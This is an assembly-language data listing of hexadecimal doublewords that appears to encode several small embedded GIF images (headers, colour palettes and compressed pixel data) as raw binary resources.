dd 1308820Fh, 4803D412h, 6B81C3A1h, 0F2830912h, 5FA1E1D0h
dd 0A8BD74C4h, 2790B088h, 516C9C52h, 957048E2h, 741D101Dh
dd 0F241A314h, 5460A7DFh, 8148301Eh, 46C9180Bh, 69657AB9h
dd 288540A0h, 0CE38775Fh, 4AEB4592h, 36260402h, 31561A05h
dd 0B153AD53h, 803818A2h, 45991222h, 1ABA1EA0h, 0ED30955h
dd 0E0460301h, 95A49299h, 208C850Ch, 6793A9F5h, 24020006h
dd 0C2112CC4h, 47C29504h, 7994DA73h, 83816463h, 148E5218h
dd 907C1B1h, 0D06E4242h, 0A562D18Ch, 380A0689h, 91F10094h
dd 8224C6E3h, 49A8E45Bh, 980B0613h, 0B00A011Ah, 8243278h
dd 0AA4E1E91h, 4833A40Ch, 7E412191h, 108198F6h, 2E1B0781h
dd 0F9C4CE5Dh, 3FC267F2h, 692E8E38h, 0D54A650Ah, 58BC5DABh
dd 0AA9582DDh, 924B2754h, 0B811C110h, 0E0642E1h, 5894421Eh
dd 8B4602E1h, 93E2213h, 0C150C070h, 17F8482h, 3B0001h
dd 0
dd 38464947h, 0E6139h, 56C6000Dh, 2F404300h, 4F244952h
dd 4E5A3C4Bh, 37586226h, 664C585Bh, 6062405Dh, 5D636551h
dd 72636F70h, 77906571h, 2179931Ah, 82627A7Bh, 86878281h
dd 39FDA86h, 0E010A7DDh, 0ABDE06ABh, 1FABDF0Dh, 0DC19ACE3h
dd 0ADDF11AFh, 0A2AEB01Fh, 0E41EADE1h, 0B2B218AFh, 14B6DAB1h
dd 0E115B4E1h, 0B6E60FB6h, 1AB7DC05h, 0E1BBB3B3h, 0BCE113BAh
dd 8FBABA08h, 0E3B9B7B6h, 0BAC14DB7h, 82BAD0A3h, 0DC1CBEE9h
dd 0BFE626C1h, 98BCCB1Dh, 0D926C3DCh, 0C2E747C1h, 12C4E71Bh
dd 0C082C1CCh, 0C7E3BFC1h, 2CC9E01Fh, 0CDA2C7C8h, 0D2D8A1C8h
dd 23D3DA24h, 0DF8EC8DCh, 0CBCB8BCAh, 33D3E5C1h, 0D167CCEBh
dd 0CCE59BD0h, 7CCEEA8Eh, 0F450D7DDh, 0D9E639D3h, 8BD1E028h
dd 0F187D0EBh, 0D8E720D9h, 0C4D3D454h, 0EF7AD5ECh, 0D8DD8BD4h
dd 84D6ED99h, 0F377DAE5h, 0D9F28DD7h, 89DCF686h, 0EF40E8EBh
dd 0E8F591E1h, 91E5EB44h, 0FF42FBFFh, 1Fh dup(0FFFFFFFFh)
dd 4F921FFh, 7F000A01h, 2C00h, 0E0000h, 700000Dh, 827F806Dh
dd 85858483h, 85862435h, 0E555121h, 373E838Ah, 7F904B38h
dd 0A0D413Bh, 54901847h, 34080943h, 53488A52h, 2A05073Ch
dd 4D862742h, 2002D46h, 853D1F20h, 1C303336h, 12160401h
dd 25832C1Ah, 1E22232Eh, 11130C0Bh, 820F2610h, 292B2F31h
dd 1706031Dh, 28151419h, 4944327Fh, 3A504F4Ch, 454A4E39h
dd 961B3F40h, 3B008185h, 38464947h, 1D6139h, 4DC6001Dh
dd 8F8F8F00h, 92919191h, 93939292h, 95959593h, 97969696h
dd 98989797h, 99999998h, 9B9A9A9Ah, 9C9C9B9Bh, 9D9D9D9Ch
dd 9F9E9E9Eh, 0A0A09F9Fh, 0A1A1A1A0h, 0A3A2A2A2h, 0A4A4A3A3h
dd 0A5A5A5A4h, 0A7A6A6A6h, 0A8A8A7A7h, 0A9A9A9A8h, 0ABAAAAAAh
dd 0ACACABABh, 0ADADADACh, 0AFAEAEAEh, 0B0B0AFAFh, 0B1B1B1B0h
dd 0B3B2B2B2h, 0B4B4B3B3h, 0B5B5B5B4h, 0B8B7B7B7h, 0B9B9B8B8h
dd 0BABABAB9h, 0BCBBBBBBh, 0BDBDBCBCh, 0BEBEBEBDh, 0C0BFBFBFh
dd 0C1C1C0C0h, 0C2C2C2C1h, 0C4C3C3C3h, 0C5C5C4C4h, 0C6C6C6C5h
dd 0C8C7C7C7h, 0C9C9C8C8h, 0CACACAC9h, 0CCCBCBCBh, 0CDCDCCCCh
dd 0CECECECDh, 0D1CFCFCFh, 0D2D2D1D1h, 0D3D3D3D2h, 0D7D5D5D5h
dd 0D8D8D7D7h, 0D9D9D9D8h, 0DBDADADAh, 0DFDFDBDBh, 0E0E0E0DFh
dd 0E2E1E1E1h, 0E5E5E2E2h, 0EEEEEEE5h, 26h dup(0FFFFFFFFh)
dd 4F921FFh, 7F000A01h, 2C00h, 1D0000h, 700001Dh, 827F80FEh
dd 1F828483h, 8A898520h, 25247F8Bh, 8A918C1Eh, 202A4A3Dh
dd 44999288h, 1F2E474Ch, 3F92991Fh, 3547494Bh, 8CA11B1Eh
dd 4346483Bh, 19233742h, 45358AAAh, 3B3D3F41h, 161B2A36h
dd 403084B4h, 3336393Dh, 223A3431h, 0D0B9113h, 1311100Eh
dd 0C52C1513h, 2F303032h, 233D2F2Eh, 120D8C10h, 1C1C1915h
dd 32291E1Bh, 2C2D2DDBh, 3E2B2A2Bh, 238B112Ah, 383935DCh
dd 2BEF3034h, 0A05229F0h, 84A26138h, 16121B8Ch, 2A1E224h
dd 11440C5h, 78740455h, 12896082h, 68A04224h, 0A14100F1h
dd 5E0A261Ah, 0C4022124h, 3A1D0F07h, 0E1E0EB98h, 261249D0h
dd 816A141Ch, 0B86032Ah, 0A8542C16h, 34C28140h, 8201109h
dd 43015A1Dh, 7AD31221h, 73D9E4F6h, 42A00482h, 0B068381Fh
dd 66048160h, 9D3C3C84h, 0D39A74A0h, 482141A7h, 4160C06Dh
dd 91E0B05h, 0F6C0885Dh, 75B65029h, 0A54EC561h, 22AD60EAh
dd 5283710Ah, 0C1F62090h, 200BB258h, 68B07864h, 8038180h
dd 0F0482410h, 7040440h, 50301973h, 3030110h, 503A7F60h
dd 0C1565C90h, 12150A02h, 41A3FE60h, 9D38282h, 3AC05C18h
dd 0C58402BAh, 205C1608h, 84505A3Ch, 380E0706h, 507B5D08h
dd 22070503h, 7BD02050h, 41040250h, 541F1403h, 0E5E5C240h
dd 80080083h, 9FFABD4Eh, 3B0040h, 38464947h, 186139h, 10840018h
dd 0E6E6E600h, 0EDE8E8E8h, 0EFEFEDEDh, 0F0F0F0EFh, 0F2F1F1F1h
dd 0F5F5F2F2h, 0F6F6F6F5h, 0F9F8F8F8h, 0FAFAF9F9h, 0FBFBFBFAh
dd 0FDFCFCFCh, 0FEFEFDFDh, 0FFFFFFFEh, 0Bh dup(0FFFFFFFFh)
dd 4F921FFh, 1F000A01h, 2C00h, 180000h, 5000018h, 8E27E061h
dd 689E6964h, 0EB6CAEAAh, 0A4F2E5BEh, 902EB2CDh, 8ABAE26Dh
dd 4404A523h, 0A4062E1h, 1840223h, 9F004073h, 1301A400h
dd 598F863Dh, 6EE90455h, 0F7C85D47h, 1C2478D3h, 0F4796D8Eh
dd 8F18BEA0h, 766048C1h, 92481A1Dh, 215C01A1h, 7727071Ah
dd 3D08297Dh, 63840926h, 8E8D8C8Bh, 3B00212Dh, 0
dd 38464947h, 2926139h, 0FFE70028h, 825B2200h, 2F8F6825h
dd 71258A67h, 0A073299Dh, 299A7233h, 752C9D76h, 9F782CA2h
dd 2FA77B22h, 7E23A578h, 0A27B30A4h, 27A87A33h, 7D33AA7Eh
dd 0AA7C35A4h, 29AD802Bh, 7F35A882h, 0AB7E37A6h, 39A78037h
dd 8234AD7Fh, 0AA842CA2h, 43A98238h, 862EA87Fh, 0A98044ACh
dd 3AA58438h, 8145AA83h, 0AB843BAAh, 43B1833Eh, 8639A583h
dd 0AE8831A7h, 47AC853Ch, 873BAC83h, 0AD863DA8h, 34AF8933h
dd 873FB08Ah, 0A98647AEh, 40AA893Dh, 8742AF88h, 0AA8748B5h
dd 3EAF864Ah, 8C36AB8Ah, 0B08941B2h, 40AB8849h, 8D38AC8Bh
dd 0B88946B4h, 43AD8C41h, 8B48B38Bh, 0B58E3AA7h, 42AD8A4Bh
dd 8F40AE8Dh, 0B38A4EA9h, 48AF8E43h, 8F44BB8Ch, 0B68E47B0h
dd 51B08D4Eh, 8B57B68Ch, 0B19046AFh, 47AB8F4Dh, 8F50B291h
dd 0AD9345B1h, 53A7924Bh, 8D59B88Eh, 0B39248B1h, 51B9914Bh
dd 9349B290h, 0B49153B4h, 5BBA9055h, 944AB38Fh, 0AF9350B5h
dd 59BC934Dh, 9649AE91h, 0B6954BB1h, 55B09452h, 9257B693h
dd 0B8964DBCh, 5BB19553h, 9751B093h, 0B29654ACh, 5DB89557h
dd 935FB294h, 0B4994CB7h, 55B9984Eh, 9658B397h, 0B99461B9h
dd 59B49856h, 965FBA97h, 0B69B4EB4h, 57BC9A51h, 9B56B599h
dd 0B69A58B1h, 61BC995Bh, 9763B698h, 0B79B59BCh, 5AB89E51h
dd 9A62B89Ch, 0BE9B5DB7h, 59B7986Ah, 9B63B49Eh, 0B99D5CB8h
dd 62BF9C5Eh, 9C64B49Dh, 0BA9E5DB9h, 5BBA9A6Dh, 9D65B6A0h
dd 0BC9F5EBBh, 64C09C68h, 9E67B69Fh, 0B8A25DBCh, 65BDA15Fh
dd 9F68B7A0h, 0BD9D70BDh, 69B8A166h, 9F6BBEA0h, 0BAA45FC4h
dd 6AB9A267h, 9F72BFA1h, 0B9A16FBFh, 6BBAA368h, 0A566C0A2h
dd 0BBA469B5h, 73BBA271h, 0A56AC1A1h, 0C2A46DBCh, 72C2A275h
dd 0A66BBCA4h, 0C3A56EBDh, 76BDA573h, 0A86DC3A4h, 0BFA674BFh
dd 78C5A770h, 0A873C5A5h, 0C0A775BAh, 76C1A96Eh, 0A779C1A8h
dd 0C8A972C7h, 78C2AB70h, 0A87BC2A9h, 0BDAB76C8h, 6FC3AA79h
dd 0AD72BEAEh, 0C4AB7AC4h, 73BFAD78h, 0AC7BC5AEh, 0C5AA82C5h
dd 74CBAB7Dh, 0AD7CC7AFh, 0BBB076C6h, 7ACCAC7Fh, 0AE7DC1AFh
dd 0C8AF7EC7h, 7FC9B277h, 0B27CC9B0h, 0CAB180C3h, 7ACAAF87h
dd 0B281BFB4h, 0D1B183CCh, 7AC6B47Fh, 0B386CCB5h, 0CCB289C6h
dd 81CDB482h, 0B584C8B6h, 0C3B87ECEh, 89C3B686h, 0B48CC9B5h
dd 0CAB882CFh, 85CAB68Ah, 0B887D0B7h, 0CBB88BD2h, 8FCCBA84h
dd 0BA89D2B7h, 0CCB98CC6h, 83CDBB86h, 0BA8DC8BDh, 0CEBC87CDh
dd 8BD4B991h, 0BB8EC9BCh, 0CFB995CEh, 8FD0BE88h, 0BB92D0BCh
dd 0CABE8DD6h, 90D0BB97h, 0C08AD1BDh, 0D8BD94D2h, 92CDC090h
dd 0BE9AD2BFh, 0D4C093D3h, 95CFC292h, 0C493D5C1h, 0D7C396D1h
dd 98D7C29Eh, 0C599D8C4h, 0D3C796CCh, 9DD6C998h, 0FFFFD1C9h
dd 4F921FFh, 0FF000A01h, 2C00h, 2920000h, 8000028h, 9FF00FEh
dd 0A0B0481Ch, 130883C1h, 0B0C85C2Ah, 1087C3A1h, 489C4A23h
dd 8BC5A2B1h, 0DC6A3318h, 0C7A3B1C8h, 8A43208Fh, 9BD1D91Ch
dd 532872B7h, 0B2C95CAAh, 0ED783C1Ch, 499BCE62h, 9BBE66B3h
dd 0DBEA7338h, 4F1F33B9h, 0A833C9Fh, 0A8B44A1Dh, 92F6A251h
dd 4F6A5D2Ah, 50A7D39Eh, 0DA8D4AA3h, 73D46A74h, 0DD6AB358h
dd 0B8DB75AAh, 89B6E0AFh, 0ACAE06DDh, 0BF5F7059h, 0F6CB5D72h
dd 0DCB2DA5Ch, 3B1366E2h, 0BBB4EC57h, 0CB59B777h, 0B65B77C6h
dd 0A6CD71B8h, 70B84B6Dh, 9F587256h, 58CC5BBEh, 0EFC63C5Eh
dd 578BC71Ch, 7E3D72AFh, 0EE633398h, 3F5F8FD7h, 8B43A07Fh
dd 0B359DD06h, 4FA6CAE9h, 991C9E57h, 0B0D7EB9Ch, 4D962363h
dd 70B8763Bh, 0BB81C369h, 0DCAF980Dh, 0F1B980BFh, 0EEBC1E0Eh
dd 92CB69B6h, 0BCCE5F2Bh, 0CFE7B1B9h, 0DE9F4189h, 6372BABCh
dd 0FB0FB2C4h, 0AEFB9DC5h, 0FEC3E0EFh, 6BFF178Bh, 0E8F3F757h
dd 8F17A7D3h, 0F7FB978Bh, 8FB571EEh, 0ACD67F2Fh, 0EBF3F6FAh
dd 0BFBFCFDFh, 0A9F6FFFFh, 480E022h, 81E06816h, 52740A04h
dd 0F4B20C4Bh, 0C0ED4C12h, 0F384D353h, 50D3A4E4h, 0D474DD40h
dd 18761C86h, 2A205314h, 2488D565h, 5AD86896h, 0D6458D6Fh
dd 760D6559h, 0C16F5B62h, 2A5D1715h, 5E8D35E2h, 5C05CD7Ch
dd 0F5AA2D60h, 215A8FE2h, 926418A6h, 9159364Dh, 0DA96A193h
dd 1935A366h, 599992DAh, 966A64A6h, 95DB56B1h, 0DB695CE7h
dd 0B6E5B76Bh, 1BD385Bh, 0C2711627h, 58DBD991h, 0E6A759C8h
dd 3749D375h, 566B319Dh, 0E8769D87h, 9DA7678Dh, 0A7A9E5EAh
dd 7CDE177h, 0C9EF7D1Fh, 7E2827h, 0A1A86A16h, 68AA2608h
dd 0D82E0A81h, 3D29A3E0h, 1484A128h, 3E4F64D2h, 0E9A8794Bh
dd 8869AA6h, 86A08962h, 699014FAh, 8AD61581h, 2A58B22Bh
dd 55BD5C90h, 0D6FE5CDCh, 5EA369A0h, 1BEAD4D6h, 0C8F98260h
dd 0CD6B6D6Ah, 90538E46h, 652C2B05h, 64E94253h, 26625093h
dd 0AE51B165h, 0B59698B6h, 0B4ED26DDh, 0ED6B4DAEh, 0D70A60B5h
dd 70E136D7h, 0D25C5C3Bh, 719B7706h, 0DD69C669h, 69C2E89Bh
dd 127372EEh, 0DD76CC33h, 782F29DDh, 0E769EE7Bh, 0ABE6F8A0h
dd 0F687A0AFh, 8B7F2FEBh, 0A3608C06h, 0F06C1526h, 5A4307C1h
dd 54ED4C4Eh, 10A78F3Ah, 0C4F12C47h, 0AA252714h, 0C5D8955h
dd 0C6BA8BD5h, 63601678h, 59E665C9h, 56EAEAA5h, 93731EC9h
dd 5AB53663h, 0CF34CCF3h, 0CCCCF754h, 72D33F34h, 8AE6B88Eh
dd 0F33C8B32h, 0E157ED2Ch, 622BE964h, 9906CB42h, 0CB26C491h
dd 51A2B1CFh, 0CB926529h, 0B4656D3Eh, 0F56D56D8h, 0A360E1D5h
dd 4CD2AD75h, 0D2D7CD23h, 0D8F5ACB4h, 0D6D6F64h, 99A8D272h
dd 0B5D9BB6Eh, 6E30DDADh, 0DAE6EDC7h, 0E7CBBEEDh, 0A2D6822Eh
dd 0B8DEFEB7h, 0BEF7EDECh, 780BCAF9h, 2DEB7EDEh, 2788E1CBh
dd 2E278AEh, 81F8EE37h, 792E44A6h, 6E4E03E4h, 8A6E5F9h
dd 835CD74h, 0A3B9EE77h, 7A2C320Ch, 1A59504Ch, 529FE9A2h
dd 1AEA7155h, 0EBEAC55Fh, 4E3CA159h, 28CCE0CFh, 0D62A8D17h
dd 0C15D32B5h, 0ABFBEED1h, 72F36EB5h, 332EEBB9h, 123BCDEBh
dd 0CC99A327h, 6E1BA713h, 55BD15B0h, 2918EF6Dh, 64FB9425h
dd 4EF67DAFh, 0F7F483D7h, 0EC64FE0h, 8D025C3Bh, 5BE79835h
dd 0D8D64D9Bh, 363ED364h, 0B5ED7CD6h, 2FCB6072h, 0BF355DFFh
dd 0D19CB5FCh, 0BBF6DDC9h, 9EDBB400h, 404802h, 0E05E0DBEh
dd 16DF8F91h, 160640C7h, 8C1081EEh, 2160E2A0h, 22A5038Bh
dd 0E0C8AE15h, 20271F05h, 730821C9h, 8A10C20h, 50B93847h
dd 2714C284h, 983FDCCCh, 0B9CDC2C1h, 0FB9C85F0h, 35210C9Ch
dd 0EEB476BAh, 18DC3886h, 1581B6ABh, 2B0EC21Eh, 0CB3B25FEh
dd 0B2A79A36h, 7888D56Dh, 5E959A36h, 26B2B772h, 2D65913Ah
dd 9CF10E3Bh, 0E575A6F3h, 797B2C65h, 0C8B6CB62h, 11662EC5h
dd 52F9BA30h, 2D05A4A9h, 32CD2076h, 0F707E34Ah, 0F13DE59Ah
dd 0E3360B3Dh, 0B91CA38Bh, 0B1703554h, 35C6C8Fh, 81A4CB5Bh
dd 0B1EDB08Dh, 5F9B607Eh, 1C919C33h, 90F21867h, 22244C88h
dd 0FE8CB5D9h, 0F5800DC1h, 29F4F2Ah, 0E17B1E47h, 0CB866FADh
dd 583526A0h, 0D05C528Ah, 0A50C1793h, 0C0D83328h, 160E2652h
dd 80A50CA8h, 0C94A1944h, 0AE148291h, 67092584h, 0DA133969h
dd 0CCB896F2h, 0C9772EA5h, 840A5E4Bh, 8680CC85h, 4C198530h
dd 98F0C068h, 0C1E1942Eh, 85CCC1D0h, 0A22D63B5h, 58538ADAh
dd 9E1FBAE5h, 0F16254ACh, 0F769369Dh, 0A8D11CAAh, 4BC1768Bh
dd 0C4939AF1h
dd 9CB170BBh, 74135C49h, 0E7B6D7FCh, 0CF7F2B98h, 0E0CD8690h
dd 0E4E6B339h, 0FEF16BEFh, 0D2D6A3E4h, 0C8D7AD87h, 5B517AD1h
dd 16A23ED6h, 86BA398Fh, 2834727Ch, 0B655ACF9h, 0A1F201B2h
dd 335FAD10h, 8A8CD1A4h, 1818F45Ah, 3746862Dh, 7A8ED1CAh
dd 2AEDA3B4h, 9924BC06h, 7261C1C0h, 9BE2836Fh, 0B7B5F149h
dd 93A2B9C3h, 4C698D30h, 990A495Fh, 38A6F4DAh, 532B2985h
dd 0FA9ED341h, 0A4B61494h, 41412EA9h, 0B51AA2D4h, 450543A8h
dd 89796F2Fh, 0A9F53AA6h, 54AA8D50h, 5FD52AA7h, 0C3981302h
dd 0B356AACCh, 0CA17CC8Ah, 0FD609AD0h, 654CECA1h, 0A5F8E216h
dd 9E4A6189h, 0C5B89A99h, 78658867h, 23671CE2h, 38D723A9h
dd 0FF7F8CC5h, 87A6483h, 24E84ED8h, 89C918E7h, 4A2D4599h
dd 0F61A8C33h, 0EC3588B0h, 0D10A2A33h, 9F66DDB2h, 37C6FB56h
dd 0F0C66A12h, 0E17B264Dh, 0C837E393h, 846FAD61h, 5A0B243h
dd 18FAB4ADh, 345E8951h, 6D4DA8B1h, 5ACA3F62h, 175472D4h
dd 5FEFDB0h, 9F21756Ch, 8236D85Bh, 3A5340Bh, 97386B71h
dd 0A214B4E6h, 8770AE08h, 0FE9ADC4Bh, 0A530B8F6h, 0AB9751E9h
dd 0F73AE689h, 0AE7DD0B9h, 553B9B54h, 0BAD5344Dh, 542ECD54h
dd 0EEDDC121h, 0E0BBF77Ah, 0AF55AF0Dh, 9864CC0Ah, 3DE8BCF7h
dd 0DAB556EFh, 48AA1755h, 0AF8D6345h, 5F4BE77Ch, 5B6F3516h
dd 7BD58B2Bh, 0B7B34785h, 0B58BD5BAh, 0EB14DFCAh, 1602B75Ah
dd 0ACEE3B30h, 0E9D6726Bh, 4DDE0136h, 0CF39E15Fh, 8C739F81h
dd 18C33D74h, 62176D89h, 67D87C29h, 0A5B07460h, 3D3EE87Dh
dd 26C959FBh, 4D94A0B4h, 7B443B31h, 963F1635h, 866D14B4h
dd 0E34C676Ah, 0B5F61A8Ch, 8EB1CDB3h, 0D9E3CC77h, 0BD16EA0Ah
dd 8726DC4Dh, 6A9BDC8Ch, 7E43A612h, 1B894CA9h, 0A276E75Dh
dd 2E8E4D13h, 547B9771h, 0B9F94451h, 96B2C896h, 4865BCB7h
dd 92121964h, 0C598B308h, 70495DECh, 3E66CC77h, 0C398FE73h
dd 8736E6CBh, 8E701137h, 0DCE79CB3h, 2243385Dh, 48109011h
dd 67CCF630h, 0BCD7A73Eh, 7A73FE7Bh, 611C9AB7h, 0FB9865DEh
dd 55A2B44Dh, 3746C444h, 697C89FAh, 52F0CD2Bh, 9A5B054Fh
dd 5B926D4Dh, 1E33CF00h, 0C0C770EFh, 0DC676370h, 0EFE9C808h
dd 0B2C834A4h, 74BE2940h, 0C85D1E11h, 2D88C756h, 3D678F46h
dd 0D8D68D5Bh, 68B583B0h, 0E246B4FDh, 8E58AED0h, 427608E2h
dd 0C95A1B27h, 64B1AD6Ah, 6DADED33h, 0C35A518Ch, 0D6CE18F6h
dd 4DA76DB1h, 7AD2DB6Dh, 76C8B1DAh, 8AD15BB6h, 0DBE29E0Ch
dd 0B8851C9Dh, 72E45DC5h, 9AC996FFh, 2DBA84C0h, 8776E681h
dd 0C6EACB79h, 31359644h, 0FBDB27EFh, 72E5CEDEh, 0E68DDD96h
dd 0DFFBF847h, 0BFF80F00h, 82704107h, 8E0A243h, 7C2B84Fh
dd 3B868851h, 8F10E1FCh, 4E27C4B8h, 42278771h, 0B8C8BD20h
dd 0F1BE37C6h, 1783073Eh, 0A08F7F1Fh, 1C9BCFFEh, 39730EF3h
dd 0CAB45C49h, 963C1455h, 0C82E916Fh, 60CBB003h, 0DCE63F96h
dd 63C5D2F5h, 0ED415E70h, 2E10EF60h, 708A8382h, 0D253D724h
dd 0C934BB53h, 0E1E4DE48h, 55EDA6F4h, 0B8C73B47h, 722EBA78h
dd 0A7658BA1h, 0AB5FB196h, 2D8BD686h, 0BB06C90Eh, 7608DFEBh
dd 0B60EB5B1h, 0ECB8835Ch, 30AD4515h, 0B5F6CED6h, 0D5D9DD4Bh
dd 0E7B6B6C6h, 0DBBAF74Eh, 0E6DC163Dh, 3DC629F6h, 828E980Ah
dd 2E6F80B8h, 656F07E0h, 0CAD933C2h, 0C0B30E5Ah, 0C6F8CF17h
dd 8DDF9BFFh, 27E4B85Fh, 1042F0AFh, 9F0CE1DCh, 0CE2BE5F8h
dd 0FE783EF9h, 33887DF3h, 8770FBE8h, 0F4FE9BD2h, 0C5FD3673h
dd 0FF2FF1FFh, 7F17A2F0h, 0CC2F390Ah, 0E2F436DBh, 8D76F6FCh
dd 0F4E3CDD9h, 581B4D26h, 0E03EA23Bh, 0AF76EFA6h, 0C899057Ch
dd 0E2A4D531h, 7D52B16Ah, 4A7116E5h, 4F4C3736h, 0C5C3E431h
dd 0B8B2FAC2h, 0FEADF5FBh, 0CDC47DAFh, 0CE3CDADDh, 0CB61DB45h
dd 5D62D576h, 0F62F5BEBh, 7631A837h, 0EADDA7F4h, 8E461588h
dd 5C8B9B6Dh, 0F8FB5DC4h, 0BFDEBFC7h, 7F71F7CDh, 800FFFBh
dd 7FC0A380h, 609F77Ch, 109C09F8h, 6F764E5Ch, 99099096h
dd 0A8106FA0h, 5CD6F86Fh, 9265B6F6h, 979408F0h, 81B81A81h
dd 1E07F819h, 0B82081F8h, 81F07B07h, 26825822h, 879E8268h
dd 82B7A382h, 0A579E82Ch, 77A482D7h, 778327Ah, 3683506Ch
dd 98388378h, 10283683h, 0EF28638Dh, 0D1E62F41h, 4062F01Dh
dd 0B8609373h, 0D6988477h, 57A73B7Bh, 0C4743496h, 57C66A67h
dd 7D14A538h, 0DC4196E6h, 97F83896h, 0AD77938h, 0E40A57FFh
dd 47865316h, 7FE7FD5Ch, 6685B7FFh, 98688678h, 6D377586h
dd 537547F5h, 0D86E7547h, 7E676B86h, 0D50D4759h, 98780D40h
dd 76487A87h, 877F0632h, 786D76B5h, 0B47750Bh, 86869776h
dd 0DFFE85B8h, 380485C6h, 88D88C86h, 9C807863h, 589280E0h
dd 9589409h, 9808D6EDh, 0F78E8998h, 89D09108h, 636FC091h
dd 56FE08D6h, 70408870h, 27824820h, 78238A98h, 7928208Ah
dd 0AA8AC8ACh, 0F8B18B18h, 8B58B406h, 6F8B78B6h, 806E06E0h
dd 8BA8B48Bh, 0C08BF8BEh, 0A8BE8C18h, 8C58C483h, 0B41028C4h
dd 0C28B3944h, 27F0B30Bh, 4269D282h, 748F73C8h, 7BF7C260h
dd 57C17C1h, 77C52754h, 52B5BC6Ah, 49747852h, 15C84196h
dd 6E55C186h, 0E45BF6E0h, 56E177D6h, 64F80A78h, 4F096811h
dd 90A209A6h, 9F5C180h, 0F888E8E9h, 78648F98h, 7F97790Ah
dd 0B46DAh, 98738729h, 0CA75A58h, 78906905h, 79060CA8h
dd 5890D50Ch, 0F586D76Ch, 0D76D76D7h, 88490086h, 7B801867h
dd 391A8FA7h, 9C8086Eh, 9289191Eh, 391F80E8h, 91F92492h
dd 91894921h, 0E0918980h, 70492C08h, 3092F088h, 2F93FE19h
dd 47040849h, 93693408h, 83934935h, 93C9320h, 93A08393h
dd 0B207F083h, 306F8A98h, 94794694h, 4A8BC822h, 0D0668B69h
dd 6B94D94h, 4E950950h, 10670669h, 6506795h, 5A067065h
dd 0D95C95B9h, 95F95E95h, 62961960h, 0B1029629h, 4214B654h
dd 30A94B0h, 0B0AE4172h, 4956AA5Bh, 711EB84Eh, 0C8DB84E9h
dd 38A7CF8Dh, 785BA74Ah, 7D26479h, 8F280A53h, 0F18EE80Bh
dd 0B9805C28h, 80788C91h, 2791E91Dh, 189E8969h, 89E6FF09h
dd 21895092h, 89239229h, 99799698h, 9809C998h, 0A8658639h
dd 91577386h, 0E29100B4h, 70CA5877h, 9A790A0Ch, 869A79A8h
dd 9A20C25h, 9A29159Ah, 0B49AE0B9h, 991988A0h, 9B79988Fh
dd 0E9239B7h, 0D9BC8958h, 9939929Bh, 9D08D9BDh, 893D08D8h
dd 93693F93h, 0CA080084h, 8AF9CB9h, 9CA9CB82h, 59C6709h
dd 508081F7h, 9D794B82h, 0D79D99D8h, 0DC9539FEh, 0D9DE9DD9h
dd 9E105E94h, 0E49E39E2h, 79E39E59h, 9E99E606h, 0E395B05Eh
dd 0F9EE0569h, 9F19F09Eh, 0EE9F39F2h, 65521029h, 96654D4Bh
dd 0A20A453Fh, 97D549D4h, 7CD6AA6Ah, 0F3526A02h, 773F8502h
dd 7C87D097h, 7D6E3532h, 3A0B6E19h, 6E25C16Eh, 0F48905C2h
dd 988158h, 6F20958Ah, 1E64F80Eh, 0F9258F39h, 9C0924A1h
dd 2C89D928h, 0F93B08E9h, 8A08A92h, 8EA25931h, 109589E0h
dd 9939BC09h, 34993A21h, 5099A35Ah, 8F98F699h, 3C0AB918h
dd 29109B2Ah, 0C00B60Ch, 0CAA439A9h, 590F0C00h, 0A499B27Fh
dd 0ABA3C9B2h, 39979870h, 926A36A3h, 95099A36h, 5A2CA248h
dd 0A5998DA2h, 30A25A59h, 0F9C908A9h, 0A60A609Ch, 0CB078078h
dd 0BA638259h, 0A69A6307h, 65A69A64h, 89CAA61Ah, 7407B07h
dd 7206F074h, 79DF8B40h
dd 0A79A78A7h, 62066A7Ah, 0FA7EA7D0h, 62A80A7h, 0FEA8305Ah
dd 84A85A84h, 9A88052Ah, 0A8BA8AA8h, 0F4A8DA8Ch, 0FA8B9F09h
dd 4FA9204h, 96A939EEh, 6A98A97Ah, 102056A9h, 9EA9D093h
dd 0D5DD093Ah, 93090A9h, 9A0975DAh, 154A4B60h, 9FD9FB0Ah
dd 0A47D5418h, 0D38B97A4h, 0AB3AB096h, 458548E1h, 497D7866h
dd 65798498h, 8A7895CDh, 7937037h, 65B6EF70h, 5A80FA53h
dd 0D8999BE6h, 0ACB93B08h, 0A8AD708h, 908E9307h, 0A5A92C89h
dd 0D6AD5AD4h, 79BF89DAh, 9B891FA3h, 4C7FD806h, 910A3EAh
dd 0AE2AE20Ch, 0E4A410B6h, 0C9A0914Ah, 0A7A3CA4h, 4CAEDAEAh
dd 0A8066E2Ah, 9BDA3698h, 56AF5AD7h, 8A2A92CAh, 0AFBAFA9Ch
dd 29A28936h, 0E9C8933Ah, 0A6AA6FA6h, 6A72A63h, 90728B7Bh
dd 0B0BB0AB0h, 68B4B09h, 1A72B0FBh, 0B0A8B5A7h, 8094E06Fh
dd 9B18A86Ah, 0A7DA81B1h, 83B1BA79h, 8A87052Ah, 0A8DA85A8h
dd 26B25B24h, 2A99A8ABh, 0A9304BA9h, 0B2FED04Bh, 30B29B2Dh
dd 2A93047Bh, 4FB30B3h, 4FB37047h, 0E6721020h, 5E066966h
dd 0A65CE5D7h, 454609AAh, 0AB55C753h, 48B47B46h, 2AAF96DBh
dd 0A0D74864h, 80B4F8E4h, 0FA1E09F7h, 6F180E64h, 969BE6F1h
dd 0A8A38178h, 70592F81h, 23AD68A2h, 0EA57AD6Ah, 0A2908808h
dd 1E9CA936h, 7B9CF8h, 0A6107F08h, 29936082h, 308AB71Ah
dd 0AF7A2DB6h, 58B77B74h, 1894AD8Ah, 0ADBA2092h, 0ABAEEA39h
dd 3AE59B20h, 0B84B84AEh, 879000B6h, 0BB800B4Bh, 808B80B8h
dd 2FB589BBh, 3B7898DAh, 0B7492BB6h, 98082B71h, 89CBB02Bh
dd 0B9DB9CB9h, 9FB9B082h, 78B03Bh, 0B0CB06B1h, 0A806DB0Ch
dd 9BAABA9Bh, 0BADBA6BAh, 6ABAA06Fh, 20640660h, 0BB5B19A8h
dd 0B8BB7BB6h, 0BB27BB9Bh, 0B2E052BBh, 0C0BBFBBEh, 3BC2BC1Bh
dd 0B3704BBCh, 0C8BC7BC6h, 6BCABC9Bh, 673B3ABCh, 0E066E671h
dd 0C096AC35h, 49D546ABh, 5C65FE35h, 0DABD9A0Dh, 25C464BBh
dd 6F764CB5h, 9DBE1BE0h, 2A1D5C20h, 80FB545Ch, 8A1B59h
dd 908F8987h, 708A2789h, 3F9CD934h, 0FA27BF39h, 0AC9A5792h
dd 65B74898h, 8088A2ABh, 0A600839Ch, 680748A9h, 4B9AA6AAh
dd 0C06B9808h, 0AB72082h, 0E9C8A5ECh, 0C0BB9DB9h, 31A30B79h
